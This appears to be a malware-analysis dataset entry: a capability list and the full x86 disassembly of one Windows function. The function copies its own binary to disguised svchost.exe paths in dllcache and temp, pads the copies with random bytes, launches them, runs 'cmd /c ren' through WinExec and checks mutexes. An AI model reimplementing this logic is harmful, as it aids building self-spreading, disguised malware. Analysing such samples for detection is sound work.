Function at 0x4041a0
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create a process with modified i/o handles and window
Create process on windows
Create thread
Delete file
Get common file path
Get file attributes
Get hostname
Resolve function by parsing pe exports
Terminate process
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x5ec
push ebx
push ebp
push esi
push edi
xor ebp, ebp
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x38]
mov dword [esp + 0x34], ebp
mov dword [esp + 0x24], ebp
rep stosd dword es:[edi], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
call fcn.00403c90
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
push 0x42dd54
push ebp
call ebx
push 0x104
push 0x42dd54
push 0x42dd54
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push str.__________
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4044c8
lea ecx, [esp + 0x98]
push 0x100
push ecx
mov dword [esp + 0x3c], 0x44
mov dword [esp + 0x68], 0x101
mov word [esp + 0x6c], bp
mov dword [esp + 0x44], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.dllcache_svchost.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x98]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x100
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x300]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push ebp
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [esp + 0x98]
push ebp
lea edx, [esp + 0x300]
push ecx
push edx
call ebx
test eax, eax
je 0x404374
lea eax, [esp + 0x98]
push 0x4086d4
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
add esp, 8
cmp ebx, ebp
mov ebp, dword [sym.imp.MSVCRT.dll_rand]
je 0x40430e
call ebp
and eax, 0x80001fff
jns 0x4042dc
dec eax
or eax, 0xffffe000
inc eax
inc eax
xor esi, esi
shl eax, 4
mov edi, eax
test edi, edi
jle 0x4042f5
call ebp
mov byte [esi + 0x409854], al
inc esi
cmp esi, edi
jl 0x4042e8
push ebx
push edi
push 1
push 0x409854
call dword [sym.imp.MSVCRT.dll_fwrite]
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
lea ecx, [esp + 0x98]
push ecx
push 0
call fcn.00403e70
add esp, 8
lea eax, [esp + 0x24]
lea ecx, [esp + 0x34]
lea edx, [esp + 0x98]
push eax
push ecx
push 0
push 0
push 0
mov dword [esp + 0x54], edx
push 1
push 0
lea edx, [esp + 0xb4]
push 0
lea eax, [esp + 0xb8]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4044ce
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00403d30
jmp 0x4044ce
push str.system
push 0x42dd54
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
jne 0x4044c8
lea ecx, [esp + 0x98]
push ecx
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edi, str.svchost.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x98]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebp
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x9c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x304]
push ecx
call ebx
test eax, eax
je 0x4044c8
lea edx, [esp + 0x98]
push 0x4086d4
push edx
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
add esp, 8
cmp ebx, ebp
je 0x404454
mov ebp, dword [sym.imp.MSVCRT.dll_rand]
call ebp
and eax, 0x80001fff
jns 0x404420
dec eax
or eax, 0xffffe000
inc eax
inc eax
xor esi, esi
shl eax, 4
mov edi, eax
test edi, edi
jle 0x404439
call ebp
mov byte [esi + 0x409854], al
inc esi
cmp esi, edi
jl 0x40442c
push ebx
push edi
push 1
push 0x409854
call dword [sym.imp.MSVCRT.dll_fwrite]
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
xor ebp, ebp
lea eax, [esp + 0x98]
push eax
push ebp
call fcn.00403e70
mov eax, dword [esp + 0x608]
add esp, 8
cmp eax, ebp
je 0x404480
lea ecx, [esp + 0x98]
push ecx
call fcn.00403d00
add esp, 4
lea eax, [esp + 0x24]
lea ecx, [esp + 0x34]
push eax
push ecx
push ebp
lea edx, [esp + 0xa4]
push ebp
push ebp
mov dword [esp + 0x54], edx
push 1
push ebp
lea edx, [esp + 0xb4]
push ebp
lea eax, [esp + 0xb8]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4044c8
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebp
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ebp, dword [sym.imp.MSVCRT.dll_rand]
push str.system
push 0x42dd54
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x4048e1
mov ebx, 0x4084c8
lea ecx, [esp + 0x98]
push ecx
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edi, dword [ebx]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x98]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x98]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
add ebx, 4
cmp ebx, 0x4084d4
jl 0x4044ee
xor ecx, ecx
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], ecx
xor ebx, ebx
call ebp
test al, 1
je 0x4046bb
mov edi, dword [esp + ebx*4 + 0x18]
lea edx, [esp + 0x98]
inc edi
push edx
push 0x100
mov dword [esp + ebx*4 + 0x20], edi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call ebp
xor edx, edx
mov ecx, 3
div ecx
or ecx, 0xffffffff
xor eax, eax
lea esi, [esp + 0x98]
mov edi, dword [edx*4 + 0x4084c8]
repne scasb al, byte es:[edi]
mov eax, esi
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x9c]
push ecx
push 0x42dd54
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4046bb
lea edx, [esp + 0x98]
push 0x4086d4
push edx
mov dword [esp + 0x3c], 0x44
mov dword [esp + 0x68], 0x101
mov word [esp + 0x6c], 0
mov dword [esp + 0x44], str.WinSta0Default
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
je 0x40465d
call ebp
and eax, 0x80001fff
jns 0x40462b
dec eax
or eax, 0xffffe000
inc eax
inc eax
xor ebx, ebx
shl eax, 4
mov esi, eax
test esi, esi
jle 0x404644
call ebp
mov byte [ebx + 0x409854], al
inc ebx
cmp ebx, esi
jl 0x404637
push edi
push esi
push 1
push 0x409854
call dword [sym.imp.MSVCRT.dll_fwrite]
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
call ebp
test al, 1
je 0x404675
lea eax, [esp + 0x98]
push eax
push 0
call fcn.00403e70
add esp, 8
lea ecx, [esp + 0x24]
lea edx, [esp + 0x34]
push ecx
push edx
push 0
push 0
push 0
push 1
push 0
lea eax, [esp + 0xb4]
push 0
lea ecx, [esp + 0xb8]
push eax
push ecx
mov dword [esp + 0x68], 0x42dd54
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4046ca
lea edx, [esp + 0x98]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
inc ebx
cmp ebx, 3
jb 0x40455c
jmp 0x4048bc
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x3fd]
mov byte [esp + 0x3fc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x1fd]
mov byte [esp + 0x1fc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor ebp, ebp
mov ebx, 0x5a
lea eax, [esp + 0x1fc]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov eax, ebp
mov ecx, 0xa
cdq
idiv ecx
mov eax, 0x39
lea ecx, [ebp + 0x41]
sub eax, edx
lea edx, [esp + 0x78]
push eax
push ebx
push ecx
push str._c_c3O_cD.tmp
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [esp + 0x8c]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x1fc]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x1fc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
inc ebp
dec ebx
cmp ebx, 0x40
jg 0x404707
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0x1a
mov esi, 0xa
idiv ecx
mov ecx, edx
mov eax, ecx
cdq
idiv esi
mov eax, 0x39
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
sub eax, edx
mov edx, 0x5a
sub edx, ecx
push eax
add ecx, 0x41
push edx
push ecx
lea eax, [esp + 0x84]
push str._c_c3O_cD.tmp
push eax
call esi
lea ecx, [esp + 0x8c]
lea edx, [esp + 0xac]
push ecx
push edx
lea eax, [esp + 0x418]
push str.cmd__c_ren___s___s
push eax
call esi
add esp, 0x24
lea ecx, [esp + 0x3fc]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
lea edx, [esp + 0x1fc]
push edx
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edi, [esp + 0x78]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1fc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, 8
push 0x320
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x1fc]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x404898
mov eax, dword [esp + 0x600]
test eax, eax
je 0x404890
lea ecx, [esp + 0x1fc]
push ecx
call fcn.00403d00
push 0x42dd54
call fcn.00403d00
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
dec esi
jne 0x40484d
mov eax, dword [esp + 0x600]
test eax, eax
je 0x4048b6
lea edx, [esp + 0x98]
push edx
call fcn.00403d00
add esp, 4
mov ebp, dword [sym.imp.MSVCRT.dll_rand]
xor ecx, ecx
lea eax, [esp + 0x18]
mov esi, 3
mov edi, dword [eax]
xor edx, edx
test edi, edi
setne dl
add ecx, edx
add eax, 4
dec esi
jne 0x4048c7
cmp ecx, 3
jne 0x40455a
lea eax, [esp + 0x10]
lea ecx, [esp + 0x198]
push eax
push ecx
mov dword [esp + 0x18], 0x64
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov esi, dword [esp + 0x10]
xor ecx, ecx
test esi, esi
jbe 0x404925
movsx eax, byte [esp + ecx + 0x198]
cdq
mov edi, 0x1a
idiv edi
add dl, 0x41
mov byte [esp + ecx + 0x198], dl
inc ecx
cmp ecx, esi
jb 0x404906
lea edx, [esp + 0x198]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebp
cmp eax, 0xb7
pop ebx
jne 0x40494d
call fcn.00403d30
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push 0x4086a4
push 0x42dd54
call fcn.004040f0
mov ecx, dword [esp + 0x38]
add esp, 8
push 0
push 0
push ecx
push 0x403fc0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x5ec
ret